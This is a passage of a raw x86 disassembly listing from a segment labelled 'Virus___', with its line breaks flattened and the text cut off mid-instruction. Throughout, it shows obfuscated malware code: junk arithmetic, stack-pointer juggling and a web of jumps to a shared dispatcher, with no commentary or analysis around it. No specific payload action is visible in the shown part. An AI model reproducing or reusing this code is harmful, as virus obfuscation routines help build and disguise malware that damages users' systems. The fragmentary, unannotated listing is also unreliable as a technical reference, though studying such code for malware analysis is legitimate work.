xor ebx, 7B836B2h sub ebx, 0E71C3208h mov ecx, ebx push dword ptr [esp] jmp loc_589999 ; --------------------------------------------------------------------------- loc_58A8AF: ; CODE XREF: Virus___:00593F3Dj mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] jmp loc_590722 ; --------------------------------------------------------------------------- loc_58A8C2: ; CODE XREF: Virus___:0058F033j pop ecx xor eax, ebx pop ebx jmp loc_58D9DC ; --------------------------------------------------------------------------- loc_58A8CB: ; CODE XREF: Virus___:005927F6j add dword ptr [esp], 4 push dword ptr [esp] pop ebp jmp loc_586F80 ; --------------------------------------------------------------------------- loc_58A8DB: ; CODE XREF: Virus___:00582FBFj xchg ebx, [esp] jmp loc_584D5F ; --------------------------------------------------------------------------- loc_58A8E3: ; CODE XREF: Virus___:005812C9j pop edi jmp loc_57FCC5 ; --------------------------------------------------------------------------- loc_58A8E9: ; CODE XREF: Virus___:005851F8j pop ebp xchg esi, [esp] pop esp jmp loc_5943FD ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58A8FB: ; CODE XREF: Virus___:0058CE99j push edi mov edi, 204478A9h jmp loc_57F6E9 ; --------------------------------------------------------------------------- loc_58A906: ; CODE XREF: Virus___:00588260j mov ecx, 24h add ecx, edi mov [ecx], esi pop ecx pop esi sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], ebx mov ebx, 4D9D3B66h add ebx, 55220AA3h push ebp mov ebp, 81970E1h sub ebx, ebp jmp loc_591B74 ; --------------------------------------------------------------------------- loc_58A935: ; CODE XREF: Virus___:005852DFj mov [esp], edi mov edi, ebp push edi pop esi mov edi, [esp] add esp, 4 push dword ptr [esp] mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, esp push esi mov esi, 4 sub eax, 13D0A6Fh add eax, esi add eax, 13D0A6Fh pop esi push edi push esi mov esi, 281B43F4h neg esi and esi, 9474F8Fh add esi, 6EFF1115h sub esi, 70431D1Dh mov edi, esi pop esi jmp loc_5805DC ; --------------------------------------------------------------------------- loc_58A989: ; CODE XREF: Virus___:0058D36Fj mov dl, 60h dec dl sub dl, 19h push ecx mov ch, 48h shl ch, 1 jmp loc_588723 ; --------------------------------------------------------------------------- loc_58A99A: ; CODE XREF: Virus___:005804C9j xor ecx, [esp] pop esp mov [esp], eax mov eax, 4 sub edx, 2D65231Eh add edx, eax push edi jmp loc_581CC3 ; --------------------------------------------------------------------------- loc_58A9B4: ; CODE XREF: Virus___:00589F9Fj pop ebp push 2AD4h mov [esp], edx push edi push 7CCB4B89h jmp loc_58ACF4 ; --------------------------------------------------------------------------- loc_58A9C8: ; CODE XREF: Virus___:00586B29j add esp, 4 sub ecx, 47DC56D0h add ecx, edi jmp loc_58D2A4 ; --------------------------------------------------------------------------- loc_58A9D8: ; CODE XREF: Virus___:0058DFDCj xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5862DE ; --------------------------------------------------------------------------- loc_58A9E6: ; CODE XREF: Virus___:005871CDj pop eax jmp loc_589AE8 ; --------------------------------------------------------------------------- loc_58A9EC: ; CODE XREF: Virus___:0058BECCj pop edx pop dword ptr [esp] pop esp sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 push ebx mov ebx, 62DA2B38h sub ebx, 2C064FE1h sub ebx, 36D3DB53h sub esi, ebx pop ebx xchg esi, [esp] pop esp mov [esp], ebx push ecx mov ecx, 15F33946h mov ebx, ecx pop ecx sub esp, 4 mov [esp], esi jmp loc_587D2A ; --------------------------------------------------------------------------- loc_58AA35: ; CODE XREF: Virus___:00591ADDj xor dl, 0E6h push 4114h mov [esp], ecx push eax mov al, 61h jmp loc_58C96F ; --------------------------------------------------------------------------- loc_58AA48: ; CODE XREF: Virus___:00584845j mov edi, [esp] push eax jmp loc_58F07F ; --------------------------------------------------------------------------- loc_58AA51: ; CODE XREF: Virus___:005810DDj jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58AA56: ; CODE XREF: Virus___:005893D8j push edx jmp loc_58B9E6 ; --------------------------------------------------------------------------- loc_58AA5C: ; CODE XREF: Virus___:00586C6Aj mov ebx, 63100E95h jmp loc_585664 ; --------------------------------------------------------------------------- loc_58AA66: ; CODE XREF: Virus___:00583013j push ebp mov ebp, 4B2F4B61h jmp loc_591A1C ; --------------------------------------------------------------------------- loc_58AA71: ; CODE XREF: Virus___:005868BCj push ebp push dword ptr [esp+4] jmp loc_592B8D ; --------------------------------------------------------------------------- loc_58AA7B: ; CODE XREF: Virus___:0058FC40j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx push 475Ch mov [esp], ebx jmp loc_59278A ; --------------------------------------------------------------------------- loc_58AAA8: ; CODE XREF: Virus___:0058BFB4j push 6495h jmp loc_58916B ; --------------------------------------------------------------------------- loc_58AAB2: ; CODE XREF: Virus___:00585072j add ebx, 8165E7Eh add ebx, 7DD619D4h add eax, ebx pop ebx dec eax shl eax, 5 and eax, 36B87E1Bh and eax, 47823073h sub eax, 21FD0F04h xor ebp, eax pop eax add edi, 4C6E3863h sub edi, 74BA59FCh sub edi, ebp add edi, 74BA59FCh jmp loc_58C984 ; --------------------------------------------------------------------------- loc_58AAF0: ; CODE XREF: Virus___:00589729j mov ecx, 37C264CEh add ebp, ecx pop ecx pop eax jmp loc_58CB25 ; --------------------------------------------------------------------------- loc_58AAFE: ; CODE XREF: Virus___:00582035j mov ebx, 4 sub edi, ebx jmp loc_58EC65 ; --------------------------------------------------------------------------- loc_58AB0A: ; CODE XREF: Virus___:005844F2j xor ebx, edi pop edi push ebx mov edx, [esp] jmp loc_581A7F ; --------------------------------------------------------------------------- loc_58AB16: ; CODE XREF: Virus___:00589052j sub edx, 4F3E3E0Eh sub edx, 57023F39h add edx, eax jmp loc_5820BF ; --------------------------------------------------------------------------- loc_58AB29: ; CODE XREF: Virus___:00583CE7j xor esi, [esp] mov esp, [esp] push 2844h mov [esp], eax jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58AB3C: ; CODE XREF: Virus___:0058F925j add edi, 4 sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], eax jmp loc_586B73 ; --------------------------------------------------------------------------- loc_58AB5A: ; CODE XREF: Virus___:0058225Cj xchg ebp, [esp] pop esp xchg ecx, [esp] pop esp push esp pop dword ptr [esp] sub esp, 4 mov [esp], ebx jmp loc_58B094 ; --------------------------------------------------------------------------- loc_58AB74: ; CODE XREF: Virus___:0057FA0Bj mov [esp], eax jmp loc_5906F9 ; --------------------------------------------------------------------------- loc_58AB7C: ; CODE XREF: Virus___:00591806j add ebx, 4 sub esp, 4 mov [esp], esi jmp loc_58D5EF ; --------------------------------------------------------------------------- loc_58AB90: ; CODE XREF: Virus___:00583FBFj pop ebx xchg eax, ebx shr eax, 3 neg eax push ebx jmp loc_583274 ; --------------------------------------------------------------------------- loc_58AB9D: ; CODE XREF: Virus___:0058B8D5j push 4B7A21ACh pop eax sub eax, 0FFA00B0Bh jmp loc_58C8B3 ; --------------------------------------------------------------------------- loc_58ABAD: ; CODE XREF: Virus___:00582026j add esp, 4 push edi push ecx mov ecx, 2F866F91h mov edi, ecx jmp loc_583A9D ; --------------------------------------------------------------------------- loc_58ABBE: ; CODE XREF: Virus___:00592966j mov esp, [esp] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_580C2B ; --------------------------------------------------------------------------- loc_58ABD9: ; CODE XREF: Virus___:0058ACFEj xchg edx, ebx dec edx jmp loc_5857BD ; --------------------------------------------------------------------------- loc_58ABE1: ; CODE XREF: Virus___:005822FBj mov ebp, 613373EDh push ebp push ebx mov ebx, 25517369h jmp loc_58D817 ; --------------------------------------------------------------------------- loc_58ABF2: ; CODE XREF: Virus___:0058977Fj mov esp, [esp] btc [esp], ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58AC00: ; CODE XREF: Virus___:0058D4C8j pop dword ptr [esp] add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 add ebx, 4 push edi jmp loc_581332 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58AC24: ; CODE XREF: Virus___:0058A098j push edi mov edi, 4 add eax, edi pop edi push edx mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp] jmp loc_58E405 ; --------------------------------------------------------------------------- loc_58AC41: ; CODE XREF: Virus___:005910D5j push 4E56h mov [esp], eax jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58AC4E: ; CODE XREF: Virus___:0057F9FFj push edi mov edi, esp push ecx push ebx jmp loc_5916B2 ; --------------------------------------------------------------------------- loc_58AC58: ; CODE XREF: Virus___:00586D6Fj sub ebx, ecx sub ebx, 0D3107C8h pop ecx add ebx, edi push edx mov edx, 0E7673E8h or edx, 4A483BE7h add edx, 1 jmp loc_58BE27 ; --------------------------------------------------------------------------- loc_58AC77: ; CODE XREF: Virus___:00587775j inc esi jmp loc_587D40 ; --------------------------------------------------------------------------- loc_58AC7D: ; CODE XREF: Virus___:00581F0Ej pop dword ptr [esp] mov esp, [esp] jmp loc_58A1BE ; --------------------------------------------------------------------------- loc_58AC88: ; CODE XREF: Virus___:0058BEB3j mov [esp], ebp push edx push esp pop edx add edx, 4 sub edx, 4 push edx jmp loc_58ED17 ; --------------------------------------------------------------------------- loc_58AC9D: ; CODE XREF: Virus___:00580EC3j xor eax, 0D01CD216h push 264Ch jmp loc_5878C5 ; --------------------------------------------------------------------------- loc_58ACAC: ; CODE XREF: Virus___:0058133Ej shr ebp, 5 xor ebp, 172026C8h jmp loc_589B47 ; --------------------------------------------------------------------------- loc_58ACBA: ; CODE XREF: Virus___:0058002Dj xor eax, 60B6EE87h jmp loc_592183 ; --------------------------------------------------------------------------- loc_58ACC4: ; CODE XREF: Virus___:0059262Bj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_58619A ; --------------------------------------------------------------------------- loc_58ACD8: ; CODE XREF: Virus___:0058C860j add [esp+4], ebx pop ebx mov ebp, [esp] add esp, 4 add ebp, 4 push ebx mov ebx, 3791779Eh jmp loc_583125 ; --------------------------------------------------------------------------- loc_58ACF4: ; CODE XREF: Virus___:0058A9C3j pop edi not edi jmp loc_591C22 ; --------------------------------------------------------------------------- loc_58ACFC: ; CODE XREF: Virus___:0058C8EEj not ebx jmp loc_58ABD9 ; --------------------------------------------------------------------------- loc_58AD03: ; CODE XREF: Virus___:005871ADj mov ebp, 433339A0h sub ebp, 0FFFFFFFFh shr ebp, 2 push esi push 6ADC4924h pop esi or ebp, esi pop esi xor ebp, 7ADCCF68h add ecx, 5BF974E3h add ecx, ebp sub ecx, 5BF974E3h jmp loc_586180 ; --------------------------------------------------------------------------- loc_58AD34: ; CODE XREF: Virus___:00583B3Cj add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx jmp loc_591CC5 ; --------------------------------------------------------------------------- loc_58AD49: ; CODE XREF: Virus___:00580C35j mov ecx, 46B116DEh jmp loc_58EB3D ; --------------------------------------------------------------------------- loc_58AD53: ; CODE XREF: Virus___:0058A0A1j mov esp, [esp] xor ecx, [esp] xor [esp], ecx jmp loc_588231 ; --------------------------------------------------------------------------- loc_58AD61: ; CODE XREF: Virus___:00583FF8j xor eax, ecx jmp loc_58D820 ; --------------------------------------------------------------------------- loc_58AD68: ; CODE XREF: Virus___:0059095Ej pop edx push edi mov edi, 6AFA6929h add edi, 6AF52F7h and edi, 30576ED6h add edi, 0D451EAECh add edx, edi pop edi jmp loc_580F76 ; --------------------------------------------------------------------------- loc_58AD89: ; CODE XREF: Virus___:0058711Bj push dword ptr [esp] jmp loc_580237 ; --------------------------------------------------------------------------- loc_58AD91: ; CODE XREF: Virus___:00591849j push ecx push eax push ecx push ebx mov ebx, 21F13EC7h mov ecx, ebx pop ebx jmp loc_58343F ; --------------------------------------------------------------------------- loc_58ADA2: ; CODE XREF: Virus___:00591D56j mov [esp], ebp jmp loc_5825DA ; --------------------------------------------------------------------------- loc_58ADAA: ; CODE XREF: Virus___:00584B97j push 704Dh mov [esp], edx push esi mov esi, 14DB3FD8h sub esi, 4B3F40A0h neg esi xor esi, 5A462138h add esi, 0EB7AFE33h mov edx, esi jmp loc_58D726 ; --------------------------------------------------------------------------- loc_58ADD3: ; CODE XREF: Virus___:0058867Aj or edx, 11D23B98h jmp loc_58BD4B ; --------------------------------------------------------------------------- loc_58ADDE: ; CODE XREF: Virus___:0058EA9Bj push ecx push esp jmp loc_57FC71 ; --------------------------------------------------------------------------- loc_58ADE5: ; CODE XREF: Virus___:0058A367j sub [esp], eax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58ADEE: ; CODE XREF: Virus___:00587ADDj not dl inc dl and dl, 6Fh push 0E84h mov [esp], eax push 2812h mov [esp], edx push ecx mov cl, 0A2h jmp loc_580177 ; --------------------------------------------------------------------------- loc_58AE0D: ; CODE XREF: Virus___:0059285Ej pop esp jmp loc_5814D4 ; --------------------------------------------------------------------------- loc_58AE13: ; CODE XREF: Virus___:00584B4Ej mov bh, ch jmp loc_58D61E ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_58D8C7 ; --------------------------------------------------------------------------- loc_58AE29: ; CODE XREF: Virus___:0058DC17j mov [esp], eax push esp pop eax add eax, 4 sub eax, 2 xchg eax, [esp] pop esp mov [esp], cx mov ch, 0F6h xor bh, ch pop cx xor bh, 5Eh add cl, bh pop ebx xor al, cl jmp loc_589ECB ; --------------------------------------------------------------------------- loc_58AE51: ; CODE XREF: Virus___:005826BEj add ebx, ebp jmp loc_58E372 ; --------------------------------------------------------------------------- loc_58AE58: ; CODE XREF: Virus___:00591520j push 61D2h mov [esp], edx push eax push 285F68EBh jmp loc_5880F7 ; --------------------------------------------------------------------------- loc_58AE6B: ; CODE XREF: Virus___:005832BFj push eax mov al, 0AAh shl al, 6 inc al dec al not al xor al, 97h sub cl, al jmp loc_58371F ; --------------------------------------------------------------------------- loc_58AE80: ; CODE XREF: Virus___:00582C10j mov eax, 4 add edx, eax pop eax jmp loc_582F8B ; --------------------------------------------------------------------------- loc_58AE8D: ; CODE XREF: Virus___:0058D54Ej push ebp mov ebp, 4 jmp loc_57FB52 ; --------------------------------------------------------------------------- loc_58AE98: ; CODE XREF: Virus___:005811FFj xchg ecx, [esp] mov esp, [esp] mov [esp], edx mov dl, 0E8h push cx mov ch, 33h add dl, ch mov cx, [esp] add esp, 2 jmp loc_586B46 ; --------------------------------------------------------------------------- loc_58AEB8: ; CODE XREF: Virus___:00580E22j pop esi jmp loc_5905BC ; --------------------------------------------------------------------------- loc_58AEBE: ; CODE XREF: Virus___:005860A4j push esi mov esi, esp add esi, 4 push ebp jmp loc_58A13F ; --------------------------------------------------------------------------- loc_58AECD: ; CODE XREF: Virus___:00585FC0j pop ebp sub ebx, edi mov edi, [esp] add esp, 4 sub ebx, eax jmp loc_586373 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_592D72 ; --------------------------------------------------------------------------- loc_58AEE9: ; CODE XREF: Virus___:005830BCj add esi, 4 push eax jmp loc_58BCA9 ; --------------------------------------------------------------------------- loc_58AEF5: ; CODE XREF: Virus___:00586233j push esi mov esi, 66A95C2Ah add ecx, 738B5329h add ecx, esi jmp loc_591A41 ; --------------------------------------------------------------------------- loc_58AF08: ; CODE XREF: Virus___:0059094Bj or ch, 28h add ch, 17h shl ch, 4 sub ch, 2Ah push bx mov bh, 5Dh jmp loc_58419D ; --------------------------------------------------------------------------- loc_58AF1D: ; CODE XREF: Virus___:0058A3E8j mov eax, 1052112Dh jmp loc_592508 ; --------------------------------------------------------------------------- loc_58AF27: ; CODE XREF: Virus___:0057F447j or dh, 74h and dh, 0CFh push ecx mov cl, 0E9h add dh, cl pop ecx push ecx push ebx mov bh, dh jmp loc_583DD1 ; --------------------------------------------------------------------------- loc_58AF3C: ; CODE XREF: Virus___:0058D5FEj push dword ptr [esp] pop ebp add esp, 4 sub ebx, 52C57061h add ebx, esi add ebx, 52C57061h mov esi, [esp] jmp loc_58B5B6 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_58BC95 ; --------------------------------------------------------------------------- loc_58AF6B: ; CODE XREF: Virus___:00582588j add eax, edi jmp loc_58088F ; --------------------------------------------------------------------------- loc_58AF72: ; CODE XREF: Virus___:0058BA96j mov eax, 16741BDBh push eax pop edi pop eax mov eax, 16741BDBh xor eax, edi pop edi push ebp push edi mov edi, eax mov ebp, edi pop edi jmp loc_58DEC6 ; --------------------------------------------------------------------------- loc_58AF8E: ; CODE XREF: Virus___:00587BA4j xchg ebx, [esp] pop esp mov ecx, ebp mov ebp, [esp] add esp, 4 push ecx jmp loc_587039 ; --------------------------------------------------------------------------- loc_58AFA3: ; CODE XREF: Virus___:0058B7C5j pop eax add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_59435F ; --------------------------------------------------------------------------- loc_58AFB6: ; CODE XREF: Virus___:00590C63j mov esi, eax mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_590B26 ; --------------------------------------------------------------------------- loc_58AFCC: ; CODE XREF: Virus___:0058848Fj shl eax, 1 or eax, 455E493Dh sub eax, 577EEB7Bh sub edx, 25B802CAh add edx, eax add edx, 25B802CAh pop eax jmp loc_59225F ; --------------------------------------------------------------------------- loc_58AFEC: ; CODE XREF: Virus___:00583142j add esp, 4 sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_58FC37 ; --------------------------------------------------------------------------- loc_58B005: ; CODE XREF: Virus___:0058D222j push ecx mov ecx, 5BBD58C1h shl ecx, 8 dec ecx inc ecx xor ecx, 0BD58C104h add edx, ecx pop ecx jmp loc_592956 ; --------------------------------------------------------------------------- loc_58B01E: ; CODE XREF: Virus___:0058DA63j push ebp jmp loc_584E20 ; --------------------------------------------------------------------------- loc_58B024: ; CODE XREF: Virus___:0058EF6Aj add edi, 4 jmp loc_57FA10 ; --------------------------------------------------------------------------- loc_58B02F: ; CODE XREF: Virus___:0058DDF3j add esp, 4 push dword ptr [esp] jmp loc_58CD81 ; --------------------------------------------------------------------------- loc_58B03D: ; CODE XREF: Virus___:00581BB4j add eax, edx pop edx add eax, 4 jmp loc_58915B ; --------------------------------------------------------------------------- loc_58B04A: ; CODE XREF: Virus___:005868AEj xchg ecx, [esp] pop esp mov [esp], edx push esp jmp loc_587CEC ; --------------------------------------------------------------------------- loc_58B057: ; CODE XREF: Virus___:0058C7F9j push ebx mov bl, 6Ch add ch, bl pop ebx sub bl, ch pop ecx jmp loc_58D2FF ; --------------------------------------------------------------------------- loc_58B065: ; CODE XREF: Virus___:00591AEFj push esi mov esi, 2 add ebx, esi pop esi jmp loc_590E4D ; --------------------------------------------------------------------------- loc_58B073: ; CODE XREF: Virus___:0058DB85j add edx, 4 add edx, 4 jmp loc_5831DB ; --------------------------------------------------------------------------- loc_58B081: ; CODE XREF: Virus___:0058DD1Fj or si, 516Ch jmp loc_593C9A ; --------------------------------------------------------------------------- loc_58B08B: ; CODE XREF: Virus___:00590D47j mov esp, [esp] push edx jmp loc_5887A2 ; --------------------------------------------------------------------------- loc_58B094: ; CODE XREF: Virus___:0058AB6Fj mov ebx, 4 add [esp+4], ebx pop ebx jmp loc_592930 ; --------------------------------------------------------------------------- loc_58B0A3: ; CODE XREF: Virus___:005884C0j mov al, 0DEh sub bh, al pop ax jmp loc_587F5F ; --------------------------------------------------------------------------- loc_58B0AE: ; CODE XREF: Virus___:00591CD5j pop esi xor ecx, [esp] jmp loc_590A7B ; --------------------------------------------------------------------------- loc_58B0B7: ; CODE XREF: Virus___:00588253j mov edx, ebp pop ebp sub dword ptr [esp+4], 7D7472A0h add [esp+4], edx jmp loc_582B0D ; --------------------------------------------------------------------------- loc_58B0CB: ; CODE XREF: Virus___:005817D5j xor ebp, 9451DCFDh xor edx, ebp pop ebp and edx, 2BBF7F78h push ecx mov ecx, 49064588h inc ecx shl ecx, 4 shr ecx, 7 xor ecx, 3BD684E2h jmp loc_58B21C ; --------------------------------------------------------------------------- loc_58B0F2: ; CODE XREF: Virus___:005841A7j inc al add al, 0E9h push edx mov dh, 90h add dh, 0C3h sub dh, 0FFh jmp loc_5923B1 ; --------------------------------------------------------------------------- loc_58B104: ; CODE XREF: Virus___:005937CBj pop ebp add ebp, 4 push edx mov edx, 36D35F73h push eax mov eax, 27D97F83h or edx, eax pop eax neg edx push ebx mov ebx, 5C877832h add ebx, 0C16DC6D7h and edx, ebx pop ebx push esi jmp loc_587228 ; --------------------------------------------------------------------------- loc_58B131: ; CODE XREF: Virus___:0059408Dj pop edx jmp loc_58C453 ; --------------------------------------------------------------------------- loc_58B137: ; CODE XREF: Virus___:0058FBC9j shr dl, 8 add dl, 0CEh mov cl, dl pop edx mov bh, cl push dword ptr [esp] jmp loc_58A149 ; --------------------------------------------------------------------------- loc_58B14A: ; CODE XREF: Virus___:00581FC8j push ecx mov ecx, 0AA206EF4h push edi mov edi, 31451367h sub ebx, edi pop edi sub ebx, ecx add ebx, 31451367h mov ecx, [esp] push eax jmp loc_583E2A ; --------------------------------------------------------------------------- loc_58B16A: ; CODE XREF: Virus___:0058D4B5j mov dl, 0D1h dec dl sub dl, 9Ch shl dl, 1 add dl, 99h add bh, dl pop edx push 40FAh mov [esp], ecx jmp loc_58CE4C ; --------------------------------------------------------------------------- loc_58B186: ; CODE XREF: Virus___:005855AEj push ebx push 0ADBh push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebx push ebp mov ebp, 4 add ebx, ebp pop ebp add ebx, 4 push ebx jmp loc_5940F5 ; --------------------------------------------------------------------------- loc_58B1A7: ; CODE XREF: Virus___:0057FA5Aj pop dword ptr [esp] pop esp push ebx mov ebx, 4 add ecx, ebx pop ebx add ecx, 4 jmp loc_583C6D ; --------------------------------------------------------------------------- loc_58B1BF: ; CODE XREF: Virus___:0058958Ej add al, 68h mov dx, [esp] sub esp, 4 mov [esp], edx jmp loc_5871A4 ; --------------------------------------------------------------------------- loc_58B1D0: ; CODE XREF: Virus___:005838BAj xchg eax, [esp] jmp loc_58CB0F ; --------------------------------------------------------------------------- loc_58B1D8: ; CODE XREF: Virus___:00583F4Bj push 4826h mov [esp], ebx mov ebx, 6EDD408Ch or ebx, 56CE1C3Fh sub ebx, 5E8128BCh add ebx, 0DFA1CC01h add edx, ebx pop ebx xchg edx, [esp] mov esp, [esp] push edx mov dh, 6Bh shr dh, 7 push 3E14h mov [esp], eax mov ah, 0D9h push edx jmp loc_591C2D ; --------------------------------------------------------------------------- loc_58B216: ; CODE XREF: Virus___:0058D0E8j push eax jmp loc_590BE6 ; --------------------------------------------------------------------------- loc_58B21C: ; CODE XREF: Virus___:0058B0EDj add edx, ecx jmp loc_57FC94 ; --------------------------------------------------------------------------- loc_58B223: ; CODE XREF: Virus___:00593BD2j shl ebp, 8 jmp loc_57F989 ; --------------------------------------------------------------------------- loc_58B22B: ; CODE XREF: Virus___:0059144Cj add al, bl sub al, 2Ah jmp loc_5893BE ; --------------------------------------------------------------------------- loc_58B234: ; CODE XREF: Virus___:0058A6B0j pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop ebp add esp, 4 push 61A8h jmp loc_57F6C7 ; --------------------------------------------------------------------------- loc_58B256: ; CODE XREF: Virus___:0058E3D2j inc esi xor esi, 77762924h jmp loc_58D382 ; --------------------------------------------------------------------------- loc_58B262: ; CODE XREF: Virus___:00584552j inc ecx dec ecx jmp loc_590A03 ; --------------------------------------------------------------------------- loc_58B269: ; CODE XREF: Virus___:00582878j push ebx jmp loc_58D6D3 ; --------------------------------------------------------------------------- loc_58B26F: ; CODE XREF: Virus___:0058EE03j push eax mov eax, 1BC1343h and eax, 38903CA1h add eax, 59C20890h push ebx mov ebx, 556E1745h jmp loc_589C6C ; --------------------------------------------------------------------------- loc_58B28A: ; CODE XREF: Virus___:0058B728j mov ecx, [esp] add esp, 4 shl edi, 1 push ebp jmp loc_58A59B ; --------------------------------------------------------------------------- loc_58B29B: ; CODE XREF: Virus___:0058E1A1j or bh, al pop eax jmp loc_593123 ; --------------------------------------------------------------------------- loc_58B2A3: ; CODE XREF: Virus___:0058B4C1j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58B2B7: ; CODE XREF: Virus___:0057FD07j add esp, 4 add ebx, edi jmp loc_5824EC ; --------------------------------------------------------------------------- loc_58B2C4: ; CODE XREF: Virus___:0058BCC1j add esp, 4 add ebx, esi push esi push 2BCF3037h jmp loc_593987 ; --------------------------------------------------------------------------- loc_58B2D7: ; CODE XREF: Virus___:00590B3Fj mov esp, [esp] mov [esp], ecx push 5EF20725h mov ecx, [esp] push ebp jmp loc_58E60B ; --------------------------------------------------------------------------- loc_58B2EB: ; CODE XREF: Virus___:0058F663j and dh, 95h push ebx mov bl, 1Dh add dh, bl pop ebx add al, dh jmp loc_58881C ; --------------------------------------------------------------------------- loc_58B2FB: ; CODE XREF: Virus___:0058F351j pop esi shr esi, 8 jmp loc_587DA3 ; --------------------------------------------------------------------------- loc_58B304: ; CODE XREF: Virus___:00588587j mov ebx, 30345063h jmp loc_585636 ; --------------------------------------------------------------------------- loc_58B30E: ; CODE XREF: Virus___:00585B4Aj xor esi, 36D946A9h push ebp jmp loc_57F633 ; --------------------------------------------------------------------------- loc_58B31A: ; CODE XREF: Virus___:0057FD95j pop dword ptr [esp] pop esp push 6485h mov [esp], edi mov edi, 8AB20F5h mov ecx, edi mov edi, [esp] add esp, 4 sub ecx, eax jmp loc_59283B ; --------------------------------------------------------------------------- loc_58B33D: ; CODE XREF: Virus___:00591953j add esp, 4 push edi push 4 mov edi, [esp] sub esp, 4 jmp loc_58DB7A ; --------------------------------------------------------------------------- loc_58B354: ; CODE XREF: Virus___:00581D21j pop esi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_5884B3 ; --------------------------------------------------------------------------- loc_58B364: ; CODE XREF: Virus___:0058849Aj mov ebx, 0ACE6415h or ebx, 40662A7h or ebx, 1D595886h jmp loc_584F71 ; --------------------------------------------------------------------------- loc_58B37A: ; CODE XREF: Virus___:0057F468j push edi push esp mov edi, [esp] add esp, 4 add edi, 4 push 464Bh mov [esp], eax mov eax, 4 add edi, eax pop eax xchg edi, [esp] mov esp, [esp] push edi mov edi, 75D0803h add edi, 45E954FBh sub esp, 4 mov [esp], ecx mov ecx, 3E34486h push edi push eax jmp loc_584271 ; --------------------------------------------------------------------------- loc_58B3BF: ; CODE XREF: Virus___:0057F688j push 482Ah mov [esp], eax mov eax, 4 jmp loc_5905B6 ; --------------------------------------------------------------------------- loc_58B3D1: ; CODE XREF: Virus___:005926E4j push dword ptr [esp] mov eax, [esp] jmp loc_5929DC ; --------------------------------------------------------------------------- loc_58B3DC: ; CODE XREF: Virus___:0058C0F8j add esp, 4 inc esi inc esi xor esi, 5EFAB9C7h add edx, esi jmp loc_590B44 ; --------------------------------------------------------------------------- loc_58B3EE: ; CODE XREF: Virus___:0058973Dj not ebp jmp loc_585AD2 ; --------------------------------------------------------------------------- loc_58B3F5: ; CODE XREF: Virus___:0058A03Cj sub ebp, ebx pop ebx jmp loc_593286 ; --------------------------------------------------------------------------- loc_58B3FD: ; CODE XREF: Virus___:0058499Dj pop ebp not ebp push ecx mov ecx, 1B8C4669h add ebp, ecx pop ecx jmp loc_589677 ; --------------------------------------------------------------------------- loc_58B40E: ; CODE XREF: Virus___:0058D057j xor dh, cl pop ecx mov ah, dh mov edx, [esp] add esp, 4 xor bh, ah pop ax push edi mov edi, esp jmp loc_58E99C ; --------------------------------------------------------------------------- loc_58B425: ; CODE XREF: Virus___:005882A1j mov edi, 43B94B81h push ecx mov ecx, 444C7F9Ch add ecx, 0FFFFFFFFh inc ecx jmp loc_58E634 ; --------------------------------------------------------------------------- loc_58B439: ; CODE XREF: Virus___:00581E36j add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_590C4C ; --------------------------------------------------------------------------- loc_58B44A: ; CODE XREF: Virus___:0058C018j mov edx, 78C51C82h add [esp+4], edx pop edx sub [esp], edi push edi mov edi, 78C51C82h sub [esp+4], edi pop edi jmp loc_5920E9 ; --------------------------------------------------------------------------- loc_58B467: ; CODE XREF: Virus___:0058B5B1j add esp, 4 add esi, 4 jmp loc_58B69A ; --------------------------------------------------------------------------- loc_58B472: ; CODE XREF: Virus___:00589127j mov ebx, 6CD10D0Bh jmp loc_592002 ; --------------------------------------------------------------------------- loc_58B47C: ; CODE XREF: Virus___:0058A6EEj mov edx, 6344426Ah shl edx, 3 jmp loc_588831 ; --------------------------------------------------------------------------- loc_58B489: ; CODE XREF: Virus___:0058F1D7j sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_588C6E ; --------------------------------------------------------------------------- loc_58B49E: ; CODE XREF: Virus___:005937B6j xor esi, eax pop eax mov ebx, esi pop esi inc ebx dec ebx neg ebx push esi mov esi, 0D941201h add ebx, esi jmp loc_590035 ; --------------------------------------------------------------------------- loc_58B4B5: ; CODE XREF: Virus___:005943F8j add dword ptr [esp+4], 27B76143h mov ebx, [esp] push ebx jmp loc_58B2A3 ; --------------------------------------------------------------------------- loc_58B4C6: ; CODE XREF: Virus___:005879CEj mov ebp, 33561409h inc ebp not ebp shl ebp, 6 sub ebp, 128674B2h push 1B89h mov [esp], ebx mov ebx, 2F4040F3h dec ebx inc 